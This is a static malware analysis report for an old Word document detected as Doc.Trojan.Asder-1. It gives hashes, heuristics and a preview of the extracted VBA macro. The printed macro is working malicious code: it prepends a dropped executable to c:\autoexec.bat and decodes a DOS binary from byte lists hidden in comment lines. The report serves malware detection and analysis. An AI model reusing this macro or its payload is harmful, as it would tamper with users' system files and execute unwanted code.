Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 34f439d6d56c69ec…

MALICIOUS

Office (OLE)

48.0 KB Created: 2000-09-08 00:44:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 0381396e3ca2896c5a60d9d25bf0da77 SHA-1: 586b14166ccdc4c3e44bd9c184246f15b96b8ca8 SHA-256: 34f439d6d56c69ecd2515454247456f30c11a4dd0bea68eb2c904a240083ccd8
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is identified as malicious by ClamAV with the signature 'Doc.Trojan.Asder-1'. It contains VBA macros, including a 'Document_Open' macro, which is a common technique for executing malicious code upon opening a document. The script attempts to read and rewrite 'c:\autoexec.bat' and write to 'c:\drvbin.com', suggesting an attempt to manipulate system files or execute further payloads.

Heuristics 3

  • ClamAV: Doc.Trojan.Asder-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Asder-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 25749 bytes
SHA-256: 20337f6b4b7910f957ed818069e038307e7babedc0a611773ca38ec9cfabf38e
Detection
ClamAV: Doc.Trojan.Asder-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Rem +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Private Sub asder()
Dim marr(999)
lll = 0
nars = "c:\autoexec.bat"
mars = "c:\drvbin.com"
Open nars For Input As #1
Do While Not EOF(1)
    Line Input #1, k
    marr(lll) = k
    lll = lll + 1
Loop
Close #1
If marr(1) = mars Then GoTo endar
Open nars For Output As #1
 Print #1, "echo off"
 Print #1, mars
For j = 0 To (lll - 1)
 Print #1, marr(j)
Next j
Close #1
Open mars For Output Access Write As #1
  col = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
   For i = 1 To col
     marr(i) = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(i, 1)
   Next i
   For i = 1 To col
    If Left(marr(i), 5) = "Rem #" Then fl = 1
     If Left(marr(i), 5) = "Rem E" Then fl = 0
      If fl = 1 Then
       p = Len(marr(i))
       p = p - 6
       tex = Right(marr(i), p)
       lll = 0
       Dim AD As Variant
       AD = Array(0, 0, 0, 0)
       Dim RAD As Variant
       RAD = Array(100, 10, 1, 0)
        For j = 1 To p
         kj = Mid(tex, j, 1)
         If kj = "#" Then
          j = p
          GoTo sasa
         ElseIf kj = "," Then
          GoTo asas
         Else
           AD(lll) = Asc(kj) - 48
           lll = lll + 1
           GoTo sasa
         End If
asas:   sum = 0
        kum = 2
        For j1 = (lll - 1) To 0 Step -1
         sum = sum + AD(j1) * RAD(kum)
         kum = kum - 1
        Next j1
        Print #1, Chr(sum);
        lll = 0
sasa:   Next j
      End If
   Next i
Close #1
Rem # 14,31,184,3,0,205,16,228,97,138,#
Rem # 224,12,128,230,97,134,224,230,97,184,#
Rem # 0,184,142,192,184,6,0,205,16,185,#
Rem # 0,64,51,255,179,255,232,173,0,50,#
Rem # 219,51,201,186,240,0,131,234,8,232,#
Rem # 109,0,139,193,232,167,0,139,193,184,#
Rem # 1,0,232,190,0,184,200,0,43,193,#
Rem # 232,151,0,131,193,4,131,249,94,118,#
Rem # 221,184,99,0,232,137,0,51,201,51,#
Rem # 219,74,232,66,0,81,209,233,209,233,#
Rem # 209,233,191,144,16,232,104,0,191,144,#
Rem # 48,232,98,0,191,224,16,43,249,232,#
Rem # 90,0,191,224,48,43,249,232,82,0,#
Rem # 89,184,1,0,232,118,0,131,193,9,#
Rem # 129,249,63,1,118,201,232,54,0,180,#
Rem # 0,205,22,60,27,117,116,180,76,205,#
Rem # 33,80,83,82,139,218,184,221,52,186,#
Rem # 18,0,59,211,115,23,247,243,139,216,#
Rem # 228,97,12,3,230,97,176,11,186,67,#
Rem # 0,238,74,138,195,238,138,199,238,90,#
Rem # 91,88,195,80,228,97,36,252,230,97,#
Rem # 88,195,80,81,87,138,195,252,242,170,#
Rem # 95,89,88,195,80,81,82,87,209,232,#
Rem # 185,80,0,246,225,139,248,185,64,1,#
Rem # 232,225,255,129,199,0,32,232,218,255,#
Rem # 95,90,89,88,195,83,30,51,219,142,#
Rem # 219,187,108,4,3,7,59,7,119,252,#
Rem # 31,91,195,14,31,184,3,0,205,16,#
Rem # 186,127,2,180,9,205,33,180,0,205,#
Rem # 22,60,27,117,3,233,115,255,180,15,#
Rem # 205,16,128,252,80,117,62,186,70,0,#
Rem # 232,104,255,228,64,36,63,138,216,185,#
Rem # 3,0,51,246,51,237,180,2,139,213,#
Rem # 128,194,30,138,241,205,16,180,9,46,#
Rem # 138,130,47,4,81,185,1,0,205,16,#
Rem # 89,69,131,253,20,114,225,131,198,20,#
Rem # 65,131,249,22,114,214,232,90,255,180,#
Rem # 0,205,22,60,27,117,3,233,33,255,#
Rem # 233,129,254,201,205,205,205,205,205,205,#
Rem # 205,205,205,205,205,205,205,205,205,205,#
Rem # 205,205,205,205,205,205,205,205,205,205,#
Rem # 205,205,205,205,205,205,205,205,205,205,#
Rem # 205,205,205,205,205,205,205,205,205,205,#
Rem # 205,205,205,205,205,205,205,205,205,205,#
Rem # 205,205,205,205,187,13,10,186,32,32,#
Rem # 32,32,32,32,143,144,136,130,133,146,#
Rem # 32,130,135,139,142,140,153,136,138,128,#
Rem # 140,32,151,147,134,136,149,32,130,136,#
Rem # 144,147,145,142,130,33,32,130,235,32,#
Rem # 168,172,165,165,226,165,32,164,165,171,#
Rem # 174,32,225,58,32,32,32,32,186,13,#
Rem 
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.